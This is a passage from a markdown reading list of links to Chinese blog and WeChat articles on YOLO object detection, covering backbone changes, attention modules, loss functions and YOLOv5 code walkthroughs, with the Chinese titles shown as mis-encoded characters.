จ็ปผ่ฟฐ๏ผไปYOLOv1ๅฐYOLOv5](https://zhuanlan.zhihu.com/p/297965943)
- [2022-08-04๏ผๅไธบ่ฝป้็บง็ฅ็ป็ฝ็ปๆถๆGhostNetๅๅ็บง๏ผGPUไธๅคงๆพ่บซๆ็G-GhostNet๏ผIJCV22๏ผ](https://mp.weixin.qq.com/s/31Fb3WSBtRUNu8oUkMrBrg)
- [2022-10-17๏ผBackbone็ฏ๏ฝYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ](https://mp.weixin.qq.com/s/SQ-ojaRlinLY5PsLTZhz2w)
- [2022-11-15๏ผNeurIPS'22 Spotlight๏ฝๅไธบ่ฏบไบGhostNetV2ๅบ็๏ผ้ฟ่ท็ฆปๆณจๆๅๆบๅถๅขๅผบๅปไปทๆไฝ](https://mp.weixin.qq.com/s/RBpC-0HqzgtHy5xsoBce8Q)
- [2022-11-21๏ผ่ฝป้็บง็CNNๆจกๅ๏ผRepGhost๏ผ้ๅๆฐๅๆๆฏๆๅปบ็กฌไปถ้ซๆ็ Ghost ๆจกๅ](https://mp.weixin.qq.com/s/mV2Bl4tBZwZ7n-YleMUE4g)
- [2023-02-26๏ผๅฆๅคง็บช่ฃๅตๅข้ๆฐไฝ๏ฝOneTeacher: ่งฃ้ YOLOv5 ็ๆญฃ็กฎๆๅผๆนๅผ](https://mp.weixin.qq.com/s/HAfCpECOxccPfj5b7Pprfw)
- [2023-04-18๏ผRepvgg-style ConvNets๏ผ็กฌไปถๅๅฅฝ๏ผ่ฏฆ่งฃYOLOv6็้ซๆbackbone๏ผEfficientRep](https://mp.weixin.qq.com/s/2Md30QdqgWnWwVR7d4sx1Q)
- [2023-04-19๏ผCVPR23 Highlight๏ฝๆฅๆtop-down attention่ฝๅ็vision transformer](https://mp.weixin.qq.com/s/UMA3Vk9L71zUEtNkCshYBg)
- [2023-04-26๏ผไธๅญ้ฟๆ๏ผๆทฑๅบฆๅ
จ้ข่งฃ่ฏปPyTorchๅ
้จๆบๅถ](https://mp.weixin.qq.com/s/JYsJRo8l5-nTFrGwBV-BFA)
- [2023-05-28๏ผYOLOv10ๅผๆบ๏ฝๆธ
ๅ็จ็ซฏๅฐ็ซฏYOLOv10ๅจ้ๅบฆ็ฒพๅบฆไธ้ฝ็ๅYOLOv8ๅYOLOv9](https://mp.weixin.qq.com/s/VG9itVaOwCpmb48ZAa8Mjw)
- ๅพฎไฟกๅ
ฌไผๅทใWeThinklnใ
- [2022-09-18๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผ่พๅ
ฅไพง็ฏ๏ผ](https://mp.weixin.qq.com/s/JLYFP8IA7RcIMSeBKekQlw)
- [2022-07-31๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผNeck็ฏ๏ผ](https://mp.weixin.qq.com/s/nEWL9ZAYuVngoejf-muFRw)
- [2022-08-14๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผHead็ฏ๏ผ๏ผๅฐ้ฒ็๏ผ](https://mp.weixin.qq.com/s/JDaSWyNdLoHc6j6cOmNIWw)
- [2022-08-28๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผHead็ฏ๏ผ๏ผๅฎๆด็๏ผ](https://mp.weixin.qq.com/s/85Xh4l_t65HrGx25ByD_iw)
- [2022-10-16๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผBackbone็ฏ๏ผ](https://mp.weixin.qq.com/s/T76JkDf82ZPF5WWVDvJ6GA)
- [2022-11-13๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผTricks็ฏ๏ผ](https://mp.weixin.qq.com/s/xJDMKcS9SRQIWKCAbUpMaQ)
- [2022-12-11๏ผใMake YOLO Great AgainใYOLOv1-v7ๅ
จ็ณปๅๅคง่งฃๆ๏ผๆฑๆป็ฏ๏ผ](https://mp.weixin.qq.com/s/etaaojeNv8lbBy586FjtQw)
- ๅพฎไฟกๅ
ฌไผๅทใGiantPandaCVใ
- [2022-10-26๏ผOne-YOLOv5 ๅๅธ๏ผไธไธช่ฎญๅพๆดๅฟซ็YOLOv5](https://mp.weixin.qq.com/s/tZ7swUd0biz7G3CiRkHHfw)
- [2022-12-04๏ผOne-YOLOv5 v1.1.0ๅๅธ๏ผๅคงๅน
ไผๅEager FP32ๅๅกๆง่ฝ](https://mp.weixin.qq.com/s/N2Xp4IKJAATCmmmQqQ6new)
- [2022-10-28๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใไธ๏ผ็ฝ็ป็ปๆ้่กไปฃ็ ่งฃๆ](https://mp.weixin.qq.com/s/qR2ODIMidsNR_Eznxry5pg)
- [2022-11-06๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใไบ๏ผYOLOv5ๆฐๆฎ้็ปๆ่งฃๆ&ๅฆไฝๅถไฝไธไธชๅฏไปฅ่ทๅพๆดๅฅฝ่ฎญ็ปๆๆ็ๆฐๆฎ้](https://mp.weixin.qq.com/s/qDNjLKhkjDT54l06SQ_yEA)
- [2022-11-10๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใไธ๏ผIoUๆทฑๅ
ฅ่งฃๆ](https://mp.weixin.qq.com/s/1DYz8sp1xR91rr7Q5_X4Qw)
- [2022-11-12๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใๅ๏ผ็ฎๆ ๆฃๆตๆจกๅ็ฒพ็กฎๅบฆ่ฏไผฐ](https://mp.weixin.qq.com/s/n6ziYYc3BBsobcRkMS9tsQ)
- [2022-11-18๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใไบ๏ผ่ฎก็ฎmAP็จๅฐ็numpyๅฝๆฐ่ฏฆ่งฃ](https://mp.weixin.qq.com/s/i8Ygm9BCWNQfyBya7f1Z8Q)
- [2022-11-20๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใๅ
ญ๏ผYOLOv5ไฝฟ็จๆ็จ่ฏฆ่งฃ๏ผๅๅก๏ผๅคๅก๏ผๅคๆบ่ฎญ็ป๏ผ](https://mp.weixin.qq.com/s/B1q_XsvXpf-fI3vDedoWjA)
- [2022-11-22๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใไธ๏ผไฝฟ็จๆจกๅ่ๅๆๅmAPๅmAR](https://mp.weixin.qq.com/s/6UvHK0bRxHGk__B8YMQhiw)
- [2022-11-27๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใๅ
ซ๏ผๅฐ่ฎญ็ปๅฅฝ็YOLOv5ๆ้ๅฏผๅบไธบๅ
ถๅฎๆกๆถๆ ผๅผ](https://mp.weixin.qq.com/s/UoPY_0E0D5g0R5o5eVmbdA)
- [2022-11-29๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใไน๏ผtrain.py ้ไปฃ็ ่งฃๆ](https://mp.weixin.qq.com/s/4jOg6De01Yxl1uW-v9Zydg)
- [2022-12-07๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใๅ๏ผYOLOv5 ็ W & B ็งๅญฆๅฎ้ชๅทฅๅ
ทๆ็จ](https://mp.weixin.qq.com/s/CZ1btWU9cpbJWC2eVLBVQQ)
- [2022-12-08๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใๅไธ๏ผYOLOv5 ๆฐๆฎๅขๅผบๆจกๅ utils/augmentations.py ้่ก่งฃๆ](https://mp.weixin.qq.com/s/uouLlV1G35L8_DQaUm8ogg)
- [2022-12-14๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใโๅไบ๏ผLoss ่ฎก็ฎ่ฏฆ็ป่งฃๆ](https://mp.weixin.qq.com/s/WfXSQFHgF6Ouwq5re4n1Vw)
- [2022-12-29๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใโๅไธ๏ผdownloads.py ่ฏฆ็ป่งฃๆ](https://mp.weixin.qq.com/s/Efa44D7PiwaZkN0jlf4R_w)
- [2023-01-10๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใโๅๅ๏ผYOLOv5 autoanchor ๆบๅถ่ฏฆ่งฃ](https://mp.weixin.qq.com/s/qC-E2UbjNZT-c04IpXfoYA)
- [2023-02-07๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใโๅไบ๏ผYOLOv5 Callbackๆบๅถ่งฃ่ฏป](https://mp.weixin.qq.com/s/osGwscIawS9q07g21rTQcA)
- [2023-02-18๏ผใYOLOv5ๅ
จ้ข่งฃๆๆ็จใโๅๅ
ญ๏ผval.py ๆบ็ ่งฃ่ฏป](https://mp.weixin.qq.com/s/sa2MQIaPIkHHxoVRGYMTAw)
- [2023-04-24๏ผ็ฎๅ่่็ฎๆ ๆฃๆตๆฐ่ๅผRT-DETR็้ชจๅนฒ๏ผHGNetv2](https://mp.weixin.qq.com/s/gF_qfXPMvPKWGNoEFdnpHw)
- ๅพฎไฟกๅ
ฌไผๅทใPandaCVerใ
- [2022-10-18๏ผๆน่ฟYOLOv5โโ้ญๆนYOLOv5ๆๅๆฃๆต็ฒพๅบฆ](https://mp.weixin.qq.com/s/1iP4H3Ri6uBkq24eOO-viw)
- [2022-10-23๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5&ๆ ๅSimAM๏ผ](https://mp.weixin.qq.com/s/X6MIRbE4ZD9xA-c-UtAa_A)
- [2022-10-25๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5ๆน่ฟ็ปๅBotNet๏ผTransformer๏ผ](https://mp.weixin.qq.com/s/NVkHPBv8Ps2fCB2QvNz59Q)
- [2022-10-27๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆดๆขFReLUๆฟๆดปๅฝๆฐ](https://mp.weixin.qq.com/s/4KmjOSGAHHFdp6jYZI_QFw)
- [2022-10-29๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไนGSConv+Slim Neck](https://mp.weixin.qq.com/s/CdNvKCL6fsQD012zrzZNFA)
- [2022-11-02๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅCBAM](https://mp.weixin.qq.com/s/vnqnNW5y47XThOmodEWHYA)
- [2022-11-07๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅGAMAttention](https://mp.weixin.qq.com/s/9gGOO66I1kFpyZcRayjF_Q)
- [2022-11-08๏ผไบบๅทฅๆบ่ฝๅๆฒฟโโๆทฑๅบฆๅญฆไน ็ญ้จ้ขๅ๏ผ็กฎๅฎ้้ขๅ็ ็ฉถๆนๅ๏ผ](https://mp.weixin.qq.com/s/ETkGaGNLx5VqJVSCSsTJNw)
- [2022-11-10๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅโSOCA๏ผๅๅน
ๅพๅ่ถ
ๅ่พจ็๏ผ](https://mp.weixin.qq.com/s/ithO0S7R-D8kXH1ZQlpRRQ)
- [2022-11-12๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅโASPP๏ผ็ฉบๆด็ฉบ้ดๅท็งฏๆฑ ๅ้ๅญๅก๏ผ](https://mp.weixin.qq.com/s/QgL2UxbVvXwrfmGxK7uolQ)
- [2022-11-16๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅโRepVGG๏ผ้ๅบฆ้ฃๅ๏ผ](https://mp.weixin.qq.com/s/4TnHyiG88h5oDhD6NZoq2Q)
- [2022-11-20๏ผ็ฅ่ฏ็ป้ชๅไบซโโYOLOv5-6.0่ฎญ็ปๅบ้ๅ่งฃๅณๆนๆณ๏ผRuntimeError๏ผ](https://mp.weixin.qq.com/s/9qTFFu7HImaF8t6ozG_NWw)
- [2022-11-23๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅNAMAttention๏ผๆๅๆถจ็น๏ผ](https://mp.weixin.qq.com/s/qB8G_pf3oCYBstYyFPrcrw)
- [2022-11-25๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv5/YOLOv7ๆน่ฟไน็ปๅCriss-Cross Attention](https://mp.weixin.qq.com/s/v3pOvqz6ZewPR3fjnA5SIg)
- [2022-11-29๏ผ็ฎๆ ๆฃๆต็ฎๆณโโYOLOv7ๆน่ฟ|ๅขๅ ๅฐ็ฎๆ ๆฃๆตๅฑ](https://mp.weixin.qq.com/s/cFzcJLOG_1_TzS-Ckg6hGA)
- [2022-11-14๏ผ็ฎๆ ๆฃๆต็ฎๆณโโๆถ่|ๅฐ็ฎๆ ๆฃๆต็ๅฎไน๏ผไธ๏ผ](https://mp.weixin.qq.com/s/RwthaHf5d7-dT31Cqco6MA)
- [2022-11-17๏ผ็ฎๆ ๆฃๆต็ฎๆณโโๆถ่|ๅฐ็ฎๆ ๆฃๆต้พ็นๅๆ๏ผไบ๏ผ](https://mp.weixin.qq.com/s/E2ZRBPZjobhlLspJK_DTfA)
- [2022-11-18๏ผ็ฎๆ ๆฃๆต็ฎๆณโโๆถ่|ๅฐ็ฎๆ ๆฃๆต่งฃๅณๆนๆก๏ผไธ๏ผ](https://mp.weixin.qq.com/s/nuIfgFX_krLtN9EQGNrn2w)
- ๅพฎไฟกๅ
ฌไผๅทใไบบๅทฅๆบ่ฝAI็ฎๆณๅทฅ็จๅธใ
- [2023-03-25๏ผๆ็จฟๆๅ๏ผ็ฎๆ ๆฃๆต่ฎบๆๅไฝๆจกๆฟ๏ผๅ็จฟ๏ผ](https://mp.weixin.qq.com/s/mi4BIyITyifl7QRhAKqPjg)
- [2022-06-26๏ผYOLOv5ๆน่ฟไนไธ๏ผๆทปๅ SEๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/QwY5C2y7HZ6LPRHC5gScFg)
- [2022-07-11๏ผYOLOv5ๆน่ฟไนไบ๏ผๆทปๅ CBAMๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/pFQEH4zpYogDOMdMQqugcg)
- [2022-07-13๏ผYOLOv5ๆน่ฟไนไธ๏ผๆทปๅ Coordinateๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/NzN88Vtkb3rVjsyPi60edQ)
- [2022-07-14๏ผYOLOv5ๆน่ฟไนๅ๏ผๆทปๅ ECA้้ๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/4tnD0OZrOn0RdRSY-1XAxw)
- [2022-07-15๏ผYOLOv5ๆน่ฟไนไบ๏ผๆน่ฟ็นๅพ่ๅ็ฝ็ปPANETไธบBIFPN](https://mp.weixin.qq.com/s/CgvdOqRC9JLrWa4mIDT_zA)
- [2022-07-16๏ผYOLOv5ๆน่ฟไนๅ
ญ๏ผๅขๅ ๅฐ็ฎๆ ๆฃๆตๅฑ](https://mp.weixin.qq.com/s/0IsvGgxhE5USP0c37HzeAQ)
- [2022-07-17๏ผYOLOv5ๆน่ฟไนไธ๏ผๆๅคฑๅฝๆฐๆน่ฟ](https://mp.weixin.qq.com/s/0U4Y_ZEI2YvW1sMHxRfwMQ)
- [2022-07-18๏ผYOLOv5ๆน่ฟไนๅ
ซ๏ผ้ๆๅคงๅผๆๅถNMS็ฎๆณๆน่ฟSoft-nms](https://mp.weixin.qq.com/s/Q35jjU6qCKhwsVpF_JkFGw)
- [2022-07-19๏ผYOLOv5ๆน่ฟไนไน๏ผ้ๆกK-Means็ฎๆณๆน่ฟK-Means++](https://mp.weixin.qq.com/s/8tfw3l_qy8IyKKh3njsN_w)
- [2022-07-20๏ผYOLOv5ๆน่ฟไนๅ๏ผๆๅคฑๅฝๆฐๆน่ฟไธบSIOU](https://mp.weixin.qq.com/s/JMbiPaQKHwIULKLE2jeQNA)
- [2022-07-21๏ผYOLOv5ๆน่ฟไนๅไธ๏ผไธปๅนฒ็ฝ็ปC3ๆฟๆขไธบ่ฝป้ๅ็ฝ็ปMobileNetV3](https://mp.weixin.qq.com/s/b3v2zNU4Ek6eO5AajuPI5A)
- [2022-07-27๏ผYOLOv5ๆน่ฟไนๅไบ๏ผไธปๅนฒ็ฝ็ปC3ๆฟๆขไธบ่ฝป้ๅ็ฝ็ปShuffleNetV2](https://mp.weixin.qq.com/s/9E9U64Wl8C02etSE19Q1iw)
- [2022-07-28๏ผYOLOv5ๆน่ฟไนๅไธ๏ผไธปๅนฒ็ฝ็ปC3ๆฟๆขไธบ่ฝป้ๅ็ฝ็ปEfficientNetv2](https://mp.weixin.qq.com/s/SIqZyXfpx67uRxL7OSHqDg)
- [2022-07-31๏ผYOLOv5ๆน่ฟไนๅๅ๏ผไธปๅนฒ็ฝ็ปC3ๆฟๆขไธบ่ฝป้ๅ็ฝ็ปGhostnet](https://mp.weixin.qq.com/s/IVR6kJodBWStFcVoVHArEw)
- [2022-08-01๏ผYOLOv5ๆน่ฟไนๅไบ๏ผ็ฝ็ป่ฝป้ๅๆนๆณๆทฑๅบฆๅฏๅ็ฆปๅท็งฏ](https://mp.weixin.qq.com/s/l3F9vGE2DHxz2otrlM1kfw)
- [2022-08-03๏ผYOLOv5ๆน่ฟไนๅๅ
ญ๏ผไธปๅนฒ็ฝ็ปC3ๆฟๆขไธบ่ฝป้ๅ็ฝ็ปPP-LCNet](https://mp.weixin.qq.com/s/sHCpHtgcMurvgaXjnQX5HQ)
- [2022-08-04๏ผYOLOv5ๆน่ฟไนๅไธ๏ผCNN+Transformerโโ่ๅBottleneck Transformers](https://mp.weixin.qq.com/s/-hEjujFJuK5V-i9jX00iFw)
- [2022-08-05๏ผYOLOv5ๆน่ฟไนๅๅ
ซ๏ผๆๅคฑๅฝๆฐๆน่ฟไธบAlpha-IoUๆๅคฑๅฝๆฐ](https://mp.weixin.qq.com/s/5mwBdny3xI4vZajfZ_KxjQ)
- [2022-08-06๏ผYOLOv5ๆน่ฟไนๅไน๏ผ้ๆๅคงๅผๆๅถNMS็ฎๆณๆน่ฟDIoU NMS](https://mp.weixin.qq.com/s/rW9FuDdpNVnO8yQbRon58g)
- [2022-08-07๏ผYOLOv5ๆน่ฟไนไบๅ๏ผInvolutionๆฐ็ฅ็ป็ฝ็ป็ฎๅญๅผๅ
ฅ็ฝ็ป](https://mp.weixin.qq.com/s/cn7uQtcPN3S_CHJc_INZaQ)
- [2022-08-08๏ผYOLOv5ๆน่ฟไนไบๅไธ๏ผCNN+Transformerโโไธปๅนฒ็ฝ็ปๆฟๆขไธบๅๅฟซๅๅผบ็่ฝป้ๅไธปๅนฒEfficientFormer](https://mp.weixin.qq.com/s/D21iFLFTMFfM--vsfh0T5w)
- [2022-08-09๏ผYOLOv7ๆน่ฟไนไบๅไบ๏ผๆถจ็น็ฅๅจโโๅผๅ
ฅ้ๅฝ้จๆงๅท็งฏ๏ผgnConv๏ผ](https://mp.weixin.qq.com/s/qq0M1yaCUysp5L3xap6t9g)
- [2022-08-24๏ผYOLOv7ๆน่ฟไนไบๅไธ๏ผๅผๅ
ฅSimAMๆ ๅๆฐๆณจๆๅ](https://mp.weixin.qq.com/s/AfrIRsNDAbwfVzdz8XwgFw)
- [2022-08-27๏ผYOLOv7ๆน่ฟไนไบๅๅ๏ผๅผๅ
ฅ้ๅญๅฏๅ็ๆฐๅ่ง่งไธปๅนฒๆจกๅWaveMLP](https://mp.weixin.qq.com/s/O78PFirnfdfuGlmQRpf9rw)
- [2022-09-03๏ผYOLOv7ๆน่ฟไนไบๅไบ๏ผๅผๅ
ฅSwin Transformer](https://mp.weixin.qq.com/s/s4RfXjW17mxUSIuK9QvTxg)
- [2022-09-19๏ผYOLOv5ใv7ๆน่ฟไนไบๅๅ
ญ๏ผๆน่ฟ็นๅพ่ๅ็ฝ็ปPANetไธบASFF่ช้ๅบ็นๅพ่ๅ็ฝ็ป](https://mp.weixin.qq.com/s/Ty8Eo_qbJZMxjTULVVi-xA)
- [2022-09-21๏ผYOLOv5ใv7ๆน่ฟไนไบๅไธ๏ผ่งฃๅณๅฐ็ฎๆ ้ฎ้ขโโๆ กๆญฃๅท็งฏๅไปฃ็นๅพๆๅ็ฝ็ปไธญ็ๅธธ่งๅท็งฏ](https://mp.weixin.qq.com/s/o23-u-B2I23bttzp14FJTg)
- [2022-09-24๏ผYOLOv5ใv7ๆน่ฟไนไบๅๅ
ซ๏ผICLR 2022ๆถจ็น็ฅๅจโโๅณๆๅณ็จ็ๅจๆๅท็งฏODConv](https://mp.weixin.qq.com/s/-wH_N4-pXY08XdbJ-Iu8zA)
- [2022-10-08๏ผYOLOv5ใYOLOv7ๆน่ฟไนไบๅไน๏ผv2.0็ๆฌ็Swin Transformer ่ๅ
ฅ](https://mp.weixin.qq.com/s/9g-JMK44YQDd3feTBwCYjA)
- [2022-10-13๏ผYOLOv5ใYOLOv7ๆน่ฟไนไธๅ๏ผๅผๅ
ฅ10ๆ4ๅทๅ่กจๆๆฐ็Transformer่ง่งๆจกๅMOAT็ปๆ](https://mp.weixin.qq.com/s/Y2kOLVbU5ZnNzPIoiv4voA)
- [2022-10-14๏ผYOLOv5ใv7ๆน่ฟไนไธๅไธ๏ผCrissCrossAttentionๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/sSZfmjJHS3USGkqFd5N-Nw)
- [2022-10-16๏ผYOLOv5ใv7ๆน่ฟไนไธๅไบ๏ผSKAttentionๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/fgTTylKkDe36Z45MxMV_ig)
- [2022-10-17๏ผYOLOv5ใv7ๆน่ฟไนไธๅไธ๏ผๅผๅ
ฅGAMAttentionๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/Tl5q7TEEPphXvzWQM_f61Q)
- [2022-10-18๏ผYOLOv5ใv7ๆน่ฟไนไธๅๅ๏ผๆดๆขๆฟๆดปๅฝๆฐไธบFReLU](https://mp.weixin.qq.com/s/k1FIIcaEZxSjuR6aRzotHg)
- [2022-10-19๏ผYOLOv5ใv7ๆน่ฟไนไธๅไบ๏ผๅผๅ
ฅNAMAttentionๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/rFe2pex6-YsUpRj8K-pw3g)
- [2022-10-20๏ผYOLOv5ใv7ๆน่ฟไนไธๅๅ
ญ๏ผๅผๅ
ฅS2-MLPv2ๆณจๆๅๆบๅถ](https://mp.weixin.qq.com/s/5MuJiodqJ4ixOSdogr5ebw)
- [2022-10-21๏ผYOLOv5ใv7ๆน่ฟไนไธๅไธ๏ผ็ปๅCVPR2022ๆฐไฝConvNeXt็ฝ็ป](https://mp.weixin.qq.com/s/f9rjpRkeqBCWeTFkadLZpQ)
- [2022-10-22๏ผYOLOv5ใv7ๆน่ฟไนไธๅๅ
ซ๏ผๅผๅ
ฅๆๆฐRepVGG](https://mp.weixin.qq.com/s/7UhjzSwjR2U2h-FC7ZFbCw)
- [2022-10-23๏ผYOLOv5ใv7ๆน่ฟไนไธๅไน๏ผๅผๅ
ฅๆน่ฟ้ฎๆกๆฃๆต็Tri-Layerๆไปถ | BMVC 2022](https://mp.weixin.qq.com/s/X0f0MLhDYMrMZzx72vyGPg)
- [2022-10-27๏ผYOLOv5ใv7ๆน่ฟไนๅๅ๏ผ่ฝป้ๅmobileoneไธปๅนฒ็ฝ็ปๅผๅ
ฅ](https://mp.weixin.qq.com/s/rHTYQW5aRucVe8MoWUlA4Q)
- [2022-11-01๏ผYOLOv5ใv7ๆน่ฟไนๅๅไธ๏ผๅผๅ
ฅSPD-Convๅค็ไฝๅ่พจ็ๅพๅๅๅฐๅฏน่ฑก้ฎ้ข](https://mp.weixin.qq.com/s/TrB7-B-ppU2JkuQ5G46a8Q)
- [2022-11-02๏ผYOLOv5ๆน่ฟไนๅๅไบ๏ผๅผๅ
ฅV7ไธญ็ELAN็ฝ็ป๏ผ้ไฝ็ฝ็ปๅๆฐ](https://mp.weixin.qq.com/s/cg4KinN-vEhcnoiQlN_tfw)
- [2022-11-03๏ผYOLOv7ใv5ๆน่ฟไนๅๅไธ๏ผ็ปๅๆๆฐNon-local Networks and Attention็ปๆ](https://mp.weixin.qq.com/s/P9TCtm6d_x6sRXtENTwY_A)
- [2022-11-19๏ผYOLO็ณปๅๆน่ฟไนๅๅๅโโ่ๅ
ฅ้้
GPU็่ฝป้็บง G-GhostNet](https://mp.weixin.qq.com/s/vS7Lm73tgVbQZ6WdKT9J4Q)
- [2022-11-10๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนไธ๏ผๅบไบๆน่ฟYOLOv5็ๆด่ฝฆๅๆจๆฐ้ๆฃๆตๆนๆณโโTWD-YOLOv5](https://mp.weixin.qq.com/s/akrldqppGT6oyf89BnJe2Q)
- [2022-11-12๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนไบ๏ผๅบไบๆน่ฟYOLOv5็่ฝป้ๅ่ช็ฉบ็ฎๆ ๆฃๆตๆนๆณ](https://mp.weixin.qq.com/s/fOAzM-1_b29B79E8gxTP1Q)
- [2022-11-14๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนไธ๏ผๅบไบๆน่ฟYOLOv7็Xๅ
ๅพๅๆ่ฝฌ็ฎๆ ๆฃๆต](https://mp.weixin.qq.com/s/6R9g3D2Xd-TZJ_DAiRcBzQ)
- [2022-11-15๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅ๏ผๆน่ฟYOLOv5็ฎๆณๅจๅ่ฝฆๅบ็ซ็พๆฃๆตไธญ็ๅบ็จ](https://mp.weixin.qq.com/s/LcImelrj1hbRHlP_QvLd6g)
- [2022-11-16๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนไบ๏ผๆน่ฟYOLOv5็SARๅพๅ่ฐ่น็ฎๆ ๆฃๆต](https://mp.weixin.qq.com/s/UwmamMFM0jnzt1sG-CX6iQ)
- [2022-11-17๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅ
ญ๏ผๅบไบYOLOv5็้ฅๆๅพๅ่ฐ่น็ๆฃๆตๆนๆณ](https://mp.weixin.qq.com/s/Qnw_krVnZGxlWUgG8z6q_g)
- [2022-11-20๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนไธ๏ผๅบไบSE-YOLOv5s็็ป็ผๅญๆฃๆต](https://mp.weixin.qq.com/s/jZI93jPaLtsCFK-kljjppw)
- [2022-11-21๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅ
ซ๏ผๅบไบYOLOv5s็ๆป้ชไบบๅๆฃๆต็ ็ฉถ](https://mp.weixin.qq.com/s/47YVYj4svWnkbPrvrfOqmw)
- [2022-11-22๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนไน๏ผๅบไบๆน่ฟYOLOv5็ๅคๆๅบๆฏไธSARๅพๅ่น่ถๆฃๆตๆนๆณ](https://mp.weixin.qq.com/s/8VUZ5RX84krFgBdCO7qMhQ)
- [2022-11-23๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅ๏ผๅบไบYOLOv5็้ฅๆๅพๅ็ฎๆ ๆฃๆต](https://mp.weixin.qq.com/s/xEzrjEe8CGfgdttJevFbFw)
- [2022-11-25๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅไธ๏ผๅบไบ็นๅพ่ๅไธๆณจๆๅ็้ฅๆๅพๅๅฐ็ฎๆ ๆฃๆต](https://mp.weixin.qq.com/s/uPwcji5mGSstxI9gWnAXCQ)
- [2022-11-26๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅไบ๏ผๅบไบๆณจๆๅๆบๅถๅไธไธๆไฟกๆฏ็็ฎๆ ๆฃๆต็ฎๆณ](https://mp.weixin.qq.com/s/Ii98povs_xjfUdSxe2WYsQ)
- [2022-11-27๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅไธ๏ผๆน่ฟYOLOv5s็้ฅๆๅพๅ็ฎๆ ๆฃๆต](https://mp.weixin.qq.com/s/MByqnwl2YiujOCyWrgMMKg)
- [2022-12-12๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅๅ๏ผไธ็งๅบไบๆฎๅทฎ็ฝ็ปไผๅ็่ชๆๅฐ็ฎๆ ๆฃๆต็ฎๆณ](https://mp.weixin.qq.com/s/M2ilkFpP5VwBHa2bY8BLyw)
- [2022-12-13๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅไบ๏ผๅบไบYOLOv5็ๅ
ๅญฆ้ฅๆๅพๅ่ฐ่น็ฎๆ ๆฃๆต็ฎๆณ](https://mp.weixin.qq.com/s/qy0hMDcPyKsl5p28E7q30w)
- [2022-12-14๏ผ็ฎๆ ๆฃๆต่ฎบๆ่งฃ่ฏปๅค็ฐไนๅๅ
ญ๏ผๅบไบๆน่ฟYOLOv5็ๅฐ็ฎๆ ๆฃๆต็ฎๆณ](https://mp.weixin.qq.com/s/Z-FIlLzVE9obCM-YdtGpxg)
